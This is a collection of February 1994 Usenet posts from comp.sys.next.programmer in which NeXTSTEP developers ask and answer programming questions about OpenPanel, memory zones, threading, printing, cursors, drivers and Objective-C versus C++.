Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: OpenPanel: how to set directory? Message-ID: <1994Feb7.204804.21891@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2j0i53$9dd@apollo.it.luc.edu> Date: Mon, 7 Feb 1994 20:48:04 GMT In article <2j0i53$9dd@apollo.it.luc.edu> dreed@orion.it.luc.edu (Dale F. Reed) writes: > How do I use the OpenPanel method and set the directory that I want? > I'm using the following, which *doesn't* change the directory to > the "./Sounds" directory as I would like. > - open:sender > { > const char *const types[] = {"snd",NULL}; // Allowed types for OpenPanel > id openPanel; // The open panel > > openPanel = [OpenPanel new]; // Get the OpenPanel > [openPanel allowMultipleFiles:NO]; // Allow multiple files > if ([openPanel runModalForDirectory:"./Sounds" file:NULL types: types] == 0) return self; This has always worked for me. I'll bet that it is choking on the "./". Try using "Sounds" or better yet, try specifying the entire path. ... jeff
Newsgroups: comp.sys.next.programmer From: eno@ecom.com (Eno Compton) Subject: pilgrim needs help Message-ID: <CKwvLF.176@csn.org> Keywords: appDidInit(s), text filter Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Tue, 8 Feb 1994 15:12:51 GMT To anyone who's willing to lend a hand; I'd be mighty appreciative of answers to these questions. My app gets lots of appDiDInit messages. How can I arrange to get just one? I'm displaying a text file in a scrollview. The file contains tabs that screw up the display. Must I expand the tabs with spaces or is there a way to specify tab stops in plain text? The file contains other data that has to be modified before it gets sent to the scrollview. Somehow I need to intercept the stream, detect the stuff that needs modification, and forward the stream to the scrollview. I concerned that, if I do this wrong the scroll response time which is excellent now will become unacceptable. Is a filter the way to do this? all help much appreciated. Eno Compton - ECOM Research - NeXTMail welcome.
Newsgroups: comp.sys.next.programmer From: birk@artemis (Valerie Birk) Subject: SUBMISSION: ESPRESSO! DEVELOPER Message-ID: <1994Feb7.211710.14248@logibec.com> Sender: news@logibec.com Organization: Logibec Groupe Informatique Ltee, QC, Canada Date: Mon, 7 Feb 1994 21:17:10 GMT SUBMISSION: ESPRESSO! Developer Professional Software 591 North Avenue Suite 4 Wakefield, MA 01880 (617) 246 2425 (617) 246 1443 1-800-246-4664 U.S. & Canada espresso@logibec.com ESPRESSO! Developer represents a new generation of development tools that puts the delivery of mission critical custom applications within the reach of any developer. ESPRESSO! Developer is a third party Interface Builder object palette that provides a suite of extensions to existing App Kit and DB Kit objects, as well as providing new objects that increase the object-oriented development capabilities of the environment. ESPRESSO!Developer supports Objective C methods under Test Interface mode but also provides its own language that is very easy to learn and can be mastered in days. Companies looking at changing over to NEXTSTEP will value the speed at which their development staff will be able to get up to speed on this new environment, while more experienced NEXTSTEP programmers will appreciate the features and flexibility added to the NeXT environment by ESPRESSO! Developer. FEATURES INCLUDE: ESPRESSO! Developer is an object palette integrated into NeXT's Interface Builder. Programmers learn about NEXTSTEP as they develop custom apps which translates into tremendous savings in time and money Support of DB Kit's database independence; apps developed with ESPRESSO! Developer will recompile on any database with a DB Kit adaptor. Developing applications with ESPRESSO! requires no knowledge of the App Kit; a complex kit that can take up to six months to master No royalties or licensing fees; applications developed with ESPRESSO! Developer compile into independent applications that do not require ESPRESSO! Developer to run. TEMPLATES: Templates for NEXTSTEP text fields: Data validation and view formatting without code money date/time character field text field floating point field integer field OBJECTS! OBJECTS! OBJECTS!: ODModule lets you easily define the following: qualifiers sort order sequencing ODPickList is a convenient object that lets users choose from a large number of items without cluttering the screen or slowing down the application since it loads data only upon request and keeps it in memory ODDragView provides the icon-dragging behavior that a number of graphical applications include (move or copy data from one location to another) but is not explicitly supplied in Interface Builder ODMultiView saves screen space by allowing the display of various windows over the same window area. Used extensively throughout NEXTSTEP (switch view, e.g. Inspector Panel), ESPRESSO! offers an object that enables designers to create overlaid views graphically LANGUAGE ESPRESSO! Developer provides a fourth generation language. It is easy to learn, can be mastered in days. An API is available for further customization. Objective C methods and ESL (ESPRESSO! Script Language) functions can be used jointly in the development of apps and much more... A demo version of this software, ESPRESSO.Demo.pkg.compressed, is available at the following sites: cs.orst.edu /pub/next/submissions nova.cc.purdue.edu /pub/next.submissions -------------------------------------- Professional Software, based in Wakefield, MA has been dedicated since 1989 to providing and promoting innovative development tools such as ESPRESSO! for the NeXT marketplace. ESPRESSO! and ESPRESSO!Developer are trademarks of Professional Software, Inc. All other trademarks, registered trademarks are not the property of Professional Software, and belong to their respective owners.
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Destroying a nib memory zone Date: 8 Feb 1994 18:30:11 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2j8lnj$orq@darkstar.UCSC.EDU> I've never met a memory zone that I didn't like, but that doesn't mean that I want them hanging around throughout the life of my app :-) But all attempts to destroy nib memory zones have resulted in certain death of my app :-( Initially, I figured that I'd just let users buy more RAM if they didn't like the memory requirements of my app :-) But this seems a little unreasonable, so I tried harder. I assumed that pesky little windows (like PopUpLists) were not being freed before being destroyed so they remained in the app's window list. So now I walk the window list adding all windows in the memory zone to be destroyed to a free list. Then I free all windows in the free list before destroying the zone. Brilliant, eh ?-) Bzzzzt! Access violation. So what am I missing? Maybe the app object is a little slow at removing freed windows from its window list so I need to do a delayed destroy. But I'm not seeing a freed object error, so I'm confused. Can anyone provide the magic key? --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: objc_setMultithreaded Date: 8 Feb 1994 18:46:26 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2j8mm2$pgc@darkstar.UCSC.EDU> I figured I'd take advantage of multiple threads to accelerate the login process for our database app. As it stands, our app launches, presents a login panel, and once the user enters login info, our large (0.5 MB, 500+ entity, 2000+ attribute, 2000+ relationship) database model file is loaded, the Sybase adaptor is loaded, and the Sybase login procedure is completed. This can take quite a long time with nothing but the wait cursor (and CPU activity monitor) to indicate that something is definitely happening. Loading the database model and adaptor doesn't require login info, so I figured I'd start this process early in a separate thread from appWillInit:. This has been working fine for several weeks with a noticeable decrease in login time since the user is busy entering login info (4 fields) while the model and adaptor are loading. Cool. But I haven't set the runtime to be thread-safe :-( I guess I've been lucky so far because nothing bad has happened, but I guess it's just a matter of time. I don't know exactly what the DBKit method is doing when it loads the model, but I bet there are lots of message sends. And the login process uses Objective-C as well. So I thought it was time to get responsible and set the run-time to be thread safe using objc_setMultithreaded() just before the thread is forked and unset thread safety just after the thread exits. Easy enough; 2 statements added. But what a dog the login process becomes. It's like typing in cold honey :-) Keyboard feedback can be 4 characters behind (and I don't type very fast :-) I've not timed things, but using multiple threads might actually be slowing down the entire process as it now stands :-( At any rate, the keyboard response is unacceptable. I see that thread priorities can be set. Maybe I can set the background thread priority low enough that the foreground thread is responsive to typing. But I haven't been able to find out what priority levels are possible. Are they they same as the higher-level priorities (0 - 31, I believe)? This is getting way too low-level for me, so I'd like some suggestions on how I might maintain thread safety, provide acceptable keyboard response, and still reduce the login time process. Thanks. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Is a View object's endPrologue method useless? Date: 8 Feb 1994 18:23:31 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2j8lb3$t46@tribune.usask.ca> Here's what I did: - Application consists of windows displaying data from LINAC monitor electronics. - Each window contains some text fields, some buttons, and a large custom view displaying the monitor information. - The custom view uses its own control-point font to help speed up the display. - I call `PSWDefineXYmonitorControlFont();' to define the control point font from two places: - In the custom view's initFrame: method - In the custom view's endProlog method - The Application's Print button is connected to the First Responder smartPrintPSCode: method. It turns out that this doesn't work! The control-point font never gets defined in the PostScript code sent to the printer. This is because the custom view's endPrologue method never gets called. Only the *window's* endPrologue method gets invoked. This seems bogus to me -- I would have expected the endPrologue method for the window, and every view in it's heirarchy would be called. The way things work now a view's `endPrologue' method seems rather useless. Comments? -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Saved menu locations Date: 8 Feb 1994 18:52:13 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2j8n0t$pj4@darkstar.UCSC.EDU> Because I am dynamically-altering the main menu based on the security permissions of the current user, I need to be able to restore previously-saved menu positions once the menu has been altered. I have placed the alterable menu trees in a separate nib so that the app launches without these menus being in the main menu (so any saved menu locations can't be restored automatically at launch time). But once the menu has been configured, I need to be able to read the defaults database and place appropriate menus at their last-saved locations. I'll bet NeXT uses a nice method or function to do this for us, but I can't find it. Parsing the defaults variable and walking the menu tree accordingly is certainly doable, but I'm lazy and want to use what NeXT already uses :-) Any pointers? --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Sybase Administrator buggy under 3.x, Solution included. Date: 8 Feb 1994 19:08:40 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2j8nvo$q3g@darkstar.UCSC.EDU> References: <2j6sa4$766@runner.uucp> In article <2j6sa4$766@runner.uucp> richard%runner.uucp@usc.edu (Richard Ruth) writes: > Thomas Funke writes > .... > > Nevertheless, some hacking shows: There is a workaround available ! > > > > Get the 'binpatch' program and apply the following patch to the > > binary '/usr/sybase/Administrator' > > > .... > > Anyone else try this? and, where do you get 'binpatch' for NeXT hardware? > Shortly after 3.0 was released, NeXT released a "fixed" Administrator available to Sybase server licensees at no cost. No binpatch required... --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Using EMACS as a LISP interpreter In-Reply-To: markf@cory.EECS.Berkeley.EDU's message of 7 Feb 1994 01:09:18 GMT Message-ID: <BYER.94Feb8113549@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2j44bu$a1k@agate.berkeley.edu> Date: Tue, 8 Feb 1994 19:35:49 GMT In article <2j44bu$a1k@agate.berkeley.edu> markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) writes: > I am taking a course taught in LISP and I need a good interpreter > for my intel NEXTSTEP machine. I was wondering if it is possible > to use the LISP interpreter built into EMACS as a runtime > environment (where I could load/run programs). If so, how do I > do this? If not, are there any ftp-able LISP interpreters that > will compile under NS/FIP? Emacs, while not a heavy-duty LISP interpreter, should do just fine. Emacs has a mode "Lisp Interaction", which allows you to type in (or cut and paste in) LISP and try it out immediately. This is usually provided upon startup in the *scratch* buffer. You can also to M-x load-file to load an .el (Emacs lisp) file (or .elc - byte-compile code), and all the definitions will be loaded into memory. The usual cycle then becomes editing the lisp file contining your program, loading up the definitions, switching to the scratch buffer, and entering the line of code that will start the whole thing off (such as "(my-program)<LF>"). Output from your program will be captured in the scratch buffer, and you can save it or whatever. If your class is going to use Common LISP, there is a file "cl.el" that comes with the standard Emacs distribution (under NEXTSTEP, it's in /usr/lib/emacs/lisp/) that contains enough definitions to execute most Common LISP code. If you're going to execute large LISP programs, I recommend pumping up gc-cons-threshold - it's set fine for editing, but not for executing code. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: stephane@planon.qc.ca Subject: DoEventLoop Message-ID: <1994Feb8.180745.1797@planon.qc.ca> Sender: stephane@planon.qc.ca (Stephane Savard) Date: Tue, 8 Feb 1994 18:07:45 GMT There is a class object for non-graphical server application that is described in the "PDO release 1.0 for HP-UX 9.0" brochure. I did not saw any reference to that in NS 3.2 documentation. Do you know if that class exist in NS? Does anybody know if it will exist? This could make our life easier in developing faceless applications! Thanks, Stephane Savard Director R&D Planon Telexpertise Inc. 1370 Joliot-Curie #708 Boucherville, Quebec Canada, J4B 7L9 Email: stephane@planon.qc.ca (NeXTmail accepted and appreciated!)
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Protocol for setStringValue: etc... Message-ID: <1994Feb6.203917.5525@afs.com> Sender: greg@afs.com References: <2irjl5$3pt@gpo.gb.swissbank.com> Date: Sun, 6 Feb 1994 20:39:17 GMT In article <2irjl5$3pt@gpo.gb.swissbank.com> griffid@gb.swissbank.com (Dave Griffiths) writes: > There ought to be a general protocol for setting/getting basic data > values like string/int/float. There's a vague ad-hoc agreement to use > setStringValue: etc, but this sort of thing needs to be standardized. > > Fr'instance, if you've got a data container, you may want it to be able > to hook up to any IB outlet and display itself. But if the outlet is a > popup list button, you have to use setTitle: instead of setStringValue: > (unless you've done it yourself in a category). > > Then nearly every object that is capable of storing a single meaningful > value should respond to this standard protocol. Ah, but there's a problem, at least with Buttons, ButtonCells, and their descendents: they have TWO meaningful values. setStringValue: is used to change the state of the object itself (i.e., given the right arguments, setState:, setIntValue:, and setStringValue: all cause the same action), whereas setTitle: is used to change the label. Popup lists act unusual because they are descendents of Menu, not Control. In MenuCells, only the title is interesting visually, although there's nothing stopping you from setting the state of MenuCells, too. Bottom line: this is yet another good reason to hate popup lists, not to change string value protocols. I refuse to use them except under duress. They have always been an extremely poor hack; we wrote a subclass of TextField to replace them. As the only common UI objects that don't inherit from Control, they cause endless problems for validation purposes, among other complaints. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: mckelvey@fafnir.com (James W. McKelvey) Subject: Re: What languages are available under NeXTStep? Message-ID: <CKw4n0.Ks1@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA References: <QhIbvxW00WBMQ3xG8n@andrew.cmu.edu> Date: Tue, 8 Feb 1994 05:30:36 GMT In article <QhIbvxW00WBMQ3xG8n@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: > Excerpts from netnews.comp.sys.next.programmer: 1-Feb-94 Re: What > languages are avai.. by Alexander Spohr@??? > > > These are the languages I'm sure of: > > Modula-2, Pascal, Fortran, COBOL (yes...I know), SmallTalk. > > Add: Standard Meta Language (SML), both Scheme and Common Lisp, some > other Lisp variants (OakLISP, ZEN) > Add: Ada, Perl, Python -- What I did must have been right, or an angel would have stopped me, just as the angel stopped Abraham in the Bible. -- Albert Fish, the cannibal Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Faceless apps Message-ID: <1994Feb8.155346.9709@planon.qc.ca> Keywords: Display PostScript Sender: yanik@planon.qc.ca Date: Tue, 8 Feb 1994 15:53:46 GMT I want to write applications that monitors incoming messages from serial connections and/or TCP/IP telnet type connections. With AppKit, that is an easy task. I use: tag = DPSAddTimedEntry(1000.0, timedhandler, self, NX_MODALRESPTHRESHOLD); and a handler to get a "beat" once per second. and DPSAddFD(fd, (DPSFDProc)fdhandler, self, 30); to instruct the Display Postcript System to monitor if there is any incoming characters waiting to be handled. I want to write applications that will be lauched when the computer starts and run in background. Using Distributed Objects, the regular NeXTSTEP applications would be able to get data from these faceless applications. I want background/faceless applications because I don't want to be at the mercy of an user that make a logout from his/her account. Someone has an idea of how to get the faceless services of DPS? -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: mohr-eric@cs.yale.edu (Eric Mohr) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Joint build strategy for NEXTSTEP and MS DOS/Windows Date: 8 Feb 1994 10:22:25 -0500 Organization: Archetype Inc, Waltham MA, USA Distribution: world Message-ID: <2j8anhINN2af@NEBULA.SYSTEMSZ.CS.YALE.EDU> We have a set of core code that runs on both NEXTSTEP and MS DOS/Windows, and are working to update our source code control and build strategy to serve both platforms well. I would like to correspond with others doing joint development for these platforms. Our issues include these: - We have modified a Unix version of RCS to run on DOS with only partially satisfactory results. Is there a good version of RCS for DOS? - For a common file server we use a Novell server with an NFS namespace, again with only partially satisfactory results. I'd like to hear of any good alternatives. - We are using "make" utilities specific to each platform. I've heard of several cross-platform toolsets; is there a good one which runs under NEXTSTEP? - For NEXTSTEP we keep a static build on the shared server; a developer's machine only needs to store files which differ from the static build. NEXTSTEP make's VPATH feature allows the local build to draw from both sources. On the DOS side each developer's machine currently keeps an entire copy of the build. Any alternatives? Thanks for getting in touch; please reply by e-mail as well as posting. -Rick Rick Mohr Archetype, Inc Internet: rick@archetype.prospect.com 100 Fifth Avenue voice: (617) 890-7544 x234 Waltham, MA 02154 fax: (617) 890-3661 --
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: jburke@bodacious.csc.wsu.edu (John L. Burke) Subject: InterFaceBuilder, general how to?? Message-ID: <1994Feb8.234107.18788@serval.net.wsu.edu> Sender: news@serval.net.wsu.edu (USENET News System) Organization: Washington State University Distribution: na Date: Tue, 8 Feb 94 23:41:07 GMT Is there some good starting point documentation on using the InterFaceBuilder? I would like to try my hand at making an interface for the NeXT for something like TELNET, just something simple that has a list of sites to open or like that. Anyone have any good starting point for me? Thanks! And Yes I know REMOTES does this. But I want to try building my own! -- ********************************************************************* * John Burke * jburke@bodacious.csc.wsu.edu * * Washington State University * NeXTStation Mono * * Systems & Computing * NeXTMail Welcome! * *********************************************************************
From: russ@synapse.ee.ufl.edu (Russell Walters) Newsgroups: comp.sys.next.programmer Subject: disconnecting the NeXT DSP driver Followup-To: poster Date: 9 Feb 1994 01:23:49 GMT Organization: University of Florida College of Engineering Message-ID: <2j9dv5$fpk@bigguy.eng.ufl.edu> Keywords: dsp driver I would like to take full control of the DSP on the NeXT hardware. However, I have not been able to disable the dsp driver, and have the difficulty of it continuously stepping on my feet. Any info on how their driver can be removed will be appreciated. russ@synapse.ee.ufl.edu
From: mortoncp@NeXTwork.Rose-Hulman.Edu (Christopher P Morton) Newsgroups: comp.sys.next.programmer Subject: Problem on a CustomView Date: 9 Feb 1994 01:40:15 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2j9etv$gvp@master.cs.rose-hulman.edu> I have a custom view that is populated by subviews, and I want to be able to "control drag" and connect two of them. A mouseDown: and mouseUp: while checking for NX_CONTROLMASK seems just perfect for this, but herein lies the problem. The mouseUp: is sent to the object that had the mouseDown:. How do I identify other subviews by their location? Am I missing some obvious way to identify the other end of this control drag? Please e-mail any suggestions or other clues. Thank you all in advance. --------------------------------------------------------- -- Chris Morton mortoncp@nextwork.rose-hulman.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Problems Launching from Workspace/Dock Message-ID: <1994Feb8.211737.642@hot.com> Followup-To: comp.sys.next.programmer Sender: robertl@hot.com Organization: Hot Technologies References: <2j2utt$bim@gpo.gb.swissbank.com> Date: Tue, 8 Feb 1994 21:17:37 GMT Your problem is most likely a programming one and thus should be presented to comp.sys.next.programmer It sounds like an initialization problem but without more details, it's hard to say exactly what. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2j2utt$bim@gpo.gb.swissbank.com> bigMalc ( NeXT Mail OK) writes: > Apologies if this is the wrong place to mail this query but there you go - > we all have to start somewhere. > > We have a weird problem with an in house trading application called FOS > which manifests itself only with a particular user on a particular > (networked) machine. If you launch the application either from the dock or > from the workspace the application will eventually hang when you either > move a window or attempt to close a window. The weird thing is when you > start the application from the command line then everything is fine! > > The problem, I guess, centres around the user defaults which, from time to > time (but NOT every time), are corrupted if the application is launced > from the dock or from the workspace. > > Even weirder - you can log on to his machine as a different user and all > is OK (application sits in LocalApps so they are accessing the same > executable, using same Op System but different defaults) and you can log > on as the troubled user on a different machine and everything is OK > (diffrent application executable same defaults)! > > But - if you launch the application from the command line by FOS.app/FOS > -MachLaunch (Blah) then the application hangs so I guess that the problem > is the -MachLaunch bit. > > We have tried all 'obvious' things (change defaults, reinitialise > defaults. etc) and nowt seems to work. > > Any help would be greatly appreciated. > > Thanks, > > bigMalc (no sig)
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Why does NXSplitView becme FirstResponder ? Message-ID: <CKxLnJ.DBF@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA Date: Wed, 9 Feb 1994 00:35:43 GMT I have an application which is using an NXSplitView in a document window. Every time I grab the splitview bar, firstResponder status is lost by the input Form. Why is this? I ran the program with gdb and put a breakpoint on my -splitView:getMinY:maxX:ofSubviewAt: delegate method. When I clicked onthe splitview bar and execution stopped, I looked through the instance browser to find my window's firstResponder outlet pointing to an NXSplitView. This doesn't make sense, because I would assume that NXSplitView would maintain the default acceptsFirstResponder implementation which returns NO for general views. Just to check I type the following command in gdb while it was stoped: p [splitView acceptsFirstResponder] and the return value was 0! Is this a bug? Where might it be fixed? I thought of writing an NXSplitView category to change acceptsFirstResponder, but that already returns the correct value. Is there some problem with NXApp or Window in that they do not send -acceptsFirstResponder (NXSplitView) before assigning a new FirstResponder? Thanks in advance for any ideas. -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: gt6963c@prism.gatech.EDU (John "Kzin" Rudd) Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Internal Modem/ Serial Card driver for NS/I Desperately wanted Message-ID: <137367@hydra.gatech.EDU> Date: 9 Feb 94 03:37:59 GMT Sender: news@prism.gatech.EDU Followup-To: comp.sys.next.software Has anyone heard of, written, or bought or downloaded or ANYTHING, a driver that will work for internal modems or serial cards? I have an internal modem, and don't wnat to shell out the money for an external modem.. I tried disabling my on-board serial port com2, and setting my modem to be com2..but NS didn't like that. Any help would be appreciated. I don't really need my second serial port right now, so if you know how to set that up, that'd be ok..but i'd really just rather have an internal modem driver. I'd even pay a reasonable fee to buy one.. So don't rule out commercial drivers. John -- John "Kzin" Rudd gt6963c@prism.gatech.edu (ex-kzin@cc.gatech.edu) ===========Intel: Putting the backward in backward compatable.============== DOOM ON YOU!
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: reversing color of NXiBeam cursor Message-ID: <1994Feb9.022220.1825@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Feb8.010100.13136@hot.com> Date: Wed, 9 Feb 1994 02:22:20 GMT This should save you some time. It's a white cursor. /usr/lib/NextStep/Workspace.app/genericCursor.tiff Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Feb8.010100.13136@hot.com> Robert La Ferla <Robert_La_Ferla@hot.com> writes: > Look at the reference manuals for NXCursor and NXImage. You'll need > to create your own white cursor and replace the current one when the > cursor enters the text window. > > The standard NEXTSTEP cursors (Arrow and I-beam) are grouped in this > file: > > /usr/lib/NextStep/Resources/SharedGrayAlpha.tiff > > You'll need to grab it out of the TIFF and edit/whiten it using > IconBuilder.app. > > Robert La Ferla > Hot Technologies > NEXTSTEP ISV and Consulting > > In article <1994Feb5.043209.16691@Princeton.EDU> > paul@phoenix.Princeton.EDU (Paul Lansky) writes: > > I have an application in which I want a text to have > > a black background and a white text. This is easy to > > do with setBackgroundGray and setTextGray. But the > > cursor remains black, which is something of a problem. > > How do I make the cursor in the text window white? > > > > thanks > > > > paul lansky > > paul@princeton.edu > >
Newsgroups: comp.sys.next.programmer From: vpastore@gorgon.UWaterloo.ca (V. Pastorek) Subject: Where can I find ArrayProcessing libraries? Message-ID: <CKxCqA.Gvs@watserv1.uwaterloo.ca> Keywords: ArrayProcessing Sender: news@watserv1.uwaterloo.ca Organization: University of Waterloo Date: Tue, 8 Feb 1994 21:22:57 GMT Does anyone know where I can get the ArrayProcessing libraries for the NeXT DSP? Please reply to: vpastore@zeus.uwaterloo.ca Thanks.
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: OpenPanel: how to set directory? Message-ID: <1994Feb8.200447.25292@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2j61or$pg4@apollo.it.luc.edu> Date: Tue, 8 Feb 1994 20:04:47 GMT In article <2j61or$pg4@apollo.it.luc.edu> dreed@orion.it.luc.edu (Dale F. Reed) writes: > Dan S. Decasper kindly took the time to point out to me that it makes a difference > from WHERE the application is being launched, (gdb or not) the net effect being that > the ABSOLUTE path name is needed, rather than the relative name ("./Sounds"). He further > elaborated by showing how I could get the absolute path name: > int pthlen, char *path, char tmp[1024]; > path = NXArgv[0]; > pathlen = strlen(path); > while(path[pathlen-1] != '/') > pathlen--; > strncpy(tmp,path,pathlen); strcpy(tmp + pathlen,"Sound"); The absolute path name of the application can also be obtained from the NXBundle class: char *appPath = [[NXBundle mainBundle] directory]; ... jeff
Newsgroups: comp.sys.next.hardware,comp.sys.next.programmer From: leigh@cs.uwa.oz.au (Leigh SMITH) Subject: Anyone looked at the ET4000 driver source? Message-ID: <leigh.760782164@cuscus> Summary: Why doesn't my monitor work : -) Keywords: ET4000, NS/FIP, Video drivers Sender: usenet@bilby.cs.uwa.edu.au Organization: Dept. Computer Science, University of Western Australia. Date: Wed, 9 Feb 1994 08:22:44 GMT Greetings NS people, Are there any knowledgeable souls out there who have looked at the source of the Tseng Labs ET4000 driver in 3.2? I've been looking at the code and documenting the register usage in order to discover why the driver puts the card in some mode my monitor can't handle. The card and monitor function quite ok with XFree (running under Xenix), which I have the source of and have been comparing. The specs of the monitor (a Taiwan Clone) say it should handle 60Hz refresh, yet using the tseng driver results in the image overlaying itself. The mouse and log on panel are visible, but portions of their images are reproduced several times across the screen. Running the ET4000 through a borrowed NEC 4FG results in a coherent image, but the flicker is insanity inducing....and the image only just fits, the edges of the image are curved, suggesting the 4FG is at the limit of it's syncing capabilities. So the card is obviously working ok, but the mode its in is too much for my monitor. Can anyone help enlighten me to what is being done with the ET4000 programming? This is a call to anyone else examining the code to email me so we can discuss the problem offline and hopefully arrive at a solution. Thanks -- Leigh Smith, Dept of Computer Science: leigh@cs.uwa.edu.au, +61-9-380-1947 University of Western Australia Fax: +61-9-380-1126 Home NeXTMail: leigh@psychokiller.dialix.oz.au, +61-9-450-2014 *---=----=----=----=----=----=----=----=----=----=----=----=----=----=----=---*
Newsgroups: comp.sys.next.programmer From: mrothste@worf.acs.calpoly.edu (Mont Rothstein) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Feb09.094110.122478@zeus.aix.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: /usr/spool/news/organization References: <YhIFAcq00VId88PURb@andrew.cmu.edu> Distribution: world Date: Wed, 09 Feb 1994 09:41:10 GMT > Here's one argument I've heard against Objective-C, and I would like > some opinions on it. > Basically, it comes down to external library support. X11 and Motif, > which are rather big in the Unix world, currently provide libraries of > C functions (and accompanying C header files). But, I've been told > that they are moving to C++. Has anybody tried to include a C++ file > in an objective-C src file? > So, the argument is that if you write a piece of software today, in > objective-C, which uses X11 (or Motif), it will need to be rewritten > when the libraries are converted to C++. > Of course, this does not affect the NeXT community, whose libraries > are already in Objective-C. :) > My department is currently trying to decide which object oriented > language to use for our upcoming projects. Two of us (NeXT owners) > are pushing for objective-C, some have no opinion, and one reluctantly > chooses C++. (He also prefers objective-C, but based on the above > knowledge, he points out that our software will cease to compile > suddenly at some point.) > Does anybody have a counter argument? Here are a couple of counter arguments: C++ is NOT an OO language, regadless of what the masses think. The inability to do run-time binding takes C++ out of the OO race. You need to specify a function as virtual in C++ where as in Objc-C all functions in classes (methods) are "virtual". This fosters an idea by C++ programmers that they will always be able to fortell what future users of objects might want to use them for. Default protection for a C++ class is Private. C++ would be better off without private at all rather than have it used everywhere. Again this is the C++ programmers feeling that others will never need to access those things that they have marked private, foolish non-OO thinking. C++ does not implement a full ANSI-C, Objc-C does. GNU has Obj-C in their compiler and with the help of NeXT will soon have Objc-C++, then those nasty C++ libraries that you have to use won't be a problem. For an example of how bad C++ code can get see Interviews. This is an object oriented interface hierarchy developed at Stanford and is reported to be the "best" C++ OO interface set. Go ahead and try to subclass something (for instance the text object). The learning curve for Objc-C is < 8 hrs., the learning curve for C++ is 1-2 months for the basics. I hope that helps. -- -Mont NeXTmail OK :-) mrothste@data.acs.calpoly.edu
